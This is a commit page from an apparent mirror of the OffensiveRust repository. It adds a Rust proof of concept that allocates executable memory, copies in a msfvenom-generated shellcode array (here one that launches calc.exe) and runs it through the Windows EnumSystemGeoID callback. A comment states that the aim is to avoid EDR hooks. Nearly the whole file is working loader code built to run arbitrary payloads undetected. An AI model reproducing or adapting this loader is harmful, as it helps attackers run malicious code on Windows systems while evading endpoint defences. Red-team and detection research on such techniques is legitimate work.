mirror of
https://github.com/trickster0/OffensiveRust
synced 2026-06-08 17:54:47 +00:00
adding EnumSystemGeoID shellcode poc
This commit is contained in:
husky
+55
@@ -0,0 +1,55 @@
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# This file is automatically @generated by Cargo.
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# It is not intended for manual editing.
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version = 3
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[[package]]
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name = "enum_system_geo_id"
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version = "0.1.0"
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dependencies = [
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"kernel32-sys",
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"winapi 0.3.9",
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]
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[[package]]
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name = "kernel32-sys"
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version = "0.2.2"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "7507624b29483431c0ba2d82aece8ca6cdba9382bff4ddd0f7490560c056098d"
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dependencies = [
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"winapi 0.2.8",
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"winapi-build",
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]
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[[package]]
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name = "winapi"
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version = "0.2.8"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "167dc9d6949a9b857f3451275e911c3f44255842c1f7a76f33c55103a909087a"
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[[package]]
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name = "winapi"
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version = "0.3.9"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
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dependencies = [
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"winapi-i686-pc-windows-gnu",
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"winapi-x86_64-pc-windows-gnu",
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]
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[[package]]
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name = "winapi-build"
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version = "0.1.1"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "2d315eee3b34aca4797b2da6b13ed88266e6d612562a0c46390af8299fc699bc"
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[[package]]
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name = "winapi-i686-pc-windows-gnu"
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version = "0.4.0"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
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[[package]]
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name = "winapi-x86_64-pc-windows-gnu"
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version = "0.4.0"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
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@@ -0,0 +1,20 @@
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[package]
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name = "enum_system_geo_id"
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version = "0.1.0"
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edition = "2021"
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# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
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[dependencies]
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kernel32-sys = "0.2.1"
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winapi = {version = "0.3.8", features=[
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"winnt",
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"memoryapi",
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"errhandlingapi",
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"processthreadsapi",
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"synchapi",
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"winbase",
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"handleapi",
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"libloaderapi",
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"winnls"
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]}
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@@ -0,0 +1,99 @@
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// Ref: https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/shellcode_callback_bin.nim
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// Callback function to hold and execute shellcode
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// This is a fun one. I like it a lot because how many EDRs are going to hook this random-ass API call? Good for self injection but does allocate as RWX so be careful.
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extern crate kernel32;
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use winapi::um::winnt::{MEM_COMMIT,PAGE_EXECUTE_READWRITE};
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use std::ptr;
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use std::io::{stdin, stdout, Read, Write};
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use winapi::um::errhandlingapi;
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use winapi::um::winnls::EnumSystemGeoID;
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use winapi::um::winnls::{GEO_ENUMPROC};
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use std::mem::transmute;
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// Convinience proc for troubleshooting
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fn breakpoint() {
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let mut stdout = stdout();
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stdout.write(b"[*] Press Enter to continue...\n").unwrap();
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stdout.flush().unwrap();
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stdin().read(&mut [0]).unwrap();
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}
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fn main() {
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callback_shellcode()
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}
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fn callback_shellcode() {
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//┌──(kali㉿kali)-[~/Desktop]
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//└─$ msfvenom -p windows/x64/exec CMD="calc.exe" -f csharp
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let shellcode : [u8;276] =
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[0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
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0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
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0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
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0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
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0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
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0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
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0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
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0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
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0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
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0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
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0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
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0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
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0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
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0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
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0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
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0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
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0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
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0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
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0x63,0x2e,0x65,0x78,0x65,0x00];
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unsafe{
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let curr_proc = kernel32::GetCurrentProcessId();
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println!("[+] Proc ID: {}", curr_proc.to_string());
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// Allocate memory RX to current process and get handle to the base addr
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let base_addr = kernel32::VirtualAlloc(
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ptr::null_mut(),
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shellcode.len().try_into().unwrap(),
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MEM_COMMIT,
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PAGE_EXECUTE_READWRITE
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);
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if base_addr.is_null() {
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println!("[-] Couldn't allocate memory to current proc.")
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} else {
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println!("[+] Allocated memory to current proc.");
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}
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breakpoint();
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// copy shellcode into mem
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println!("[*] Copying Shellcode to address in current proc.");
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std::ptr::copy(shellcode.as_ptr() as _, base_addr, shellcode.len());
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println!("[*] Copied...");
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breakpoint();
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println!("[*] Executing callback function...");
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// Callback execution
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let res = EnumSystemGeoID(
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16,
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0,
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transmute::<*mut std::ffi::c_void, GEO_ENUMPROC>(base_addr)
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);
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println!("Result: {}", res);
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if res > 0 {
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println!("[+] Good!")
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} else {
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let error = errhandlingapi::GetLastError();
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println!("{}", error.to_string())
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}
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}
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}
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